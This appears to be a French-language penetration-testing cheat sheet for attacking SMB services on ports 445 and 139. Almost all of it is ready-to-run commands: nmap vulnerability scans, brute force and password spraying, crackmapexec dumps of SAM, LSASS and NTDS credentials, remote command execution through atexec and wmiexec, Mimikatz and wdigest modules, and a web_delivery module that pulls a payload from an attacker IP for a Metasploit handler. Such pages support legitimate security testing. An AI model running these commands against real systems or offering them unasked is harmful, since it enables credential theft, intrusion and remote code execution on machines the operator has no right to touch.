📨SMB - ports 445-139

Techniques d'exploitation des services Server Message Block

Scan version

Exemple:

$ nmap -sS -sV -p445-139 --script smb-enum-users,smb-os-discovery <target IP>

Scan de vulnérabilité

Il existe des scripts nmap permettant de scanner la présence de vulnérabilités connues dans un service SMB.

Exemple:

$ nmap -p139-445 --script=smb-vuln* <target IP>

Lister les fichiers partagés

Connexion anonyme:

$ smbclient --no-pass -L //<target IP>

Avec identifiants:

$ smbclient -U '<username>[%<password>]' -L //<target IP>

Avec crackmapexec

Connexion anonyme:

$ crackmapexec smb <target IP> -u '' -p '' --shares

Avec des identifiants:

$ crackmapexec smb <target IP> -u '<username>' -p '<password>' --shares

Avec un hash de mot de passe:

$ crackmapexec smb <target IP> -u '<username>' -H '<hash>' --shares

Se connecter

Sur une cible sous Linux

Pour se connecter à un service SMB on peut utiliser smbclient comme ceci.

Exemples:

$ smbclient --no-pass //<target IP>/<Fichier> #anonyme

$ smbclient -U '<username>[%<passwd>]' -L //<target IP>/<Fichier>

Sur une cible sous Windows

Exemples:

$ smbclient -U '%' -N \\\\<target IP>\\<Fichier> #anonyme

$ smbclient -U '<username>' \\\\<target IP>\\<Fichier>

Brute force

Il existe également un script nmap permettant de brute force la connexion à un service SMB.

Utilisation:

$ nmap --script smb-brute -p445 <target IP>

Attention: Tenter de brute force un service SMB peut entraîner le blocage des comptes

Monter un fichier partagé

Pour monter un fichier partagé on utilise la commande mount.

Exemples d'utilisation:

$ mount -t cifs //<target IP>/<Fichier> /mnt/partage

$ mount -t cifs -o "username=<username>,password=<password>" //<target IP>/<Fichier> /mnt/partage

Télécharger un fichier partagé

Il est possible de télécharger un fichier partagé avec smbmap comme ceci par exemple.

$ smbmap -R <Dossier> -H <target IP> -A <Fichier> -q

Crackmapexec

Mindmap

Quelques commandes intéressantes proposées par crackmapexec:

Enumération et dump:

# Basiques
crackmapexec smb <IP>/24
crackmapexec smb <target IP> -u '<username>' -p '<password>'
crackmapexec smb <target IP> -u '<username>' -p '<password>' --shares
# Enumeration des fichiers textes
crackmapexec smb <target IP> -u '<username>' -p '<password>' --spider C\$ --pattern txt
# Enumeration des fichiers de logs
crackmapexec smb <target IP> -u '<username>' -p '<password>' --spider C\$ --pattern log
# Dump SAM
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --sam
# Dump LSASS
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --lsa
# Dump NTDS (SRDUAPI)
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --ntds drsuapi
# Dump NTDS (VSS)
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --ntds vss
# Dump sessions
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --sessions
# Dump des utilisateurs connectés
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --loggedon-users
# Enumeration des disques
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --disks
# Enumeration des utilisateurs
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --users
# Enumeration des groupes
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --groups
# Dump de la politique de mots de passes
crackmapexec smb <target IP> [-d <domaine>] -u '<username>' -p '<password>' --pass-pol

Bruteforce:

# Bruteforce d'un utilisateur spécifique dans une plage IP
crackmapexec smb <IP>/24 -u '<user to find>' '<username>' -p '<password>'
# Attaque par dictionnaire
crackmapexec smb <IP>/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt
# Password Spraying
crackmapexec smb <target IP> -u /root/Desktop/user.txt -p '<password>' --rid-brute
crackmapexec smb <target IP> -u /root/Desktop/user.txt -p '<password>' --continue-on-success

Exécution de commande à distance

crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>'
# Avec planificateur de tâche
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --exec-method atexec
# Avec le service WMI
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --exec-method wmiexec
crackmapexec smb <target IP> -u '<username>' -p '<password>' -x '<command>' --wmi "WMI command"

Modules:

# Voir les modules enregistrés
crackmapexec smb -L

# Module Mimikatz
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M mimikatz
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M mimikatz -o COMMAND='<command>'

# Module Wdigest (créer une clé de registre grâce à laquelle les mots de passe sont stockés en mémoire)
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M wdigest -o ACTION='<command>'

# Module enum_dns
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M enum_dns

# Module web_delivery à utiliser avec un handler sur metasploit
crackmapexec smb <target IP> -u '<username>' -p '<password>' -M web_sdelivery -o URL=http://<attacker IP>:<port>/rlNdPdZQMeYWLF

ressource: https://github.com/byt3bl33d3r/CrackMapExec

Manspider

Recherche dans les partages SMB des mots clés basés et pattern basés sur des regex.

Exemple d'utilisation:

$ manspider <target IP>/24 -f passw user login cred -u <user> -p <password>

ressource: https://github.com/blacklanternsecurity/MANSPIDER

Ressources

https://www.offensive-security.com/metasploit-unleashed/scanner-smb-auxiliary-modules/

Dernière mise à jour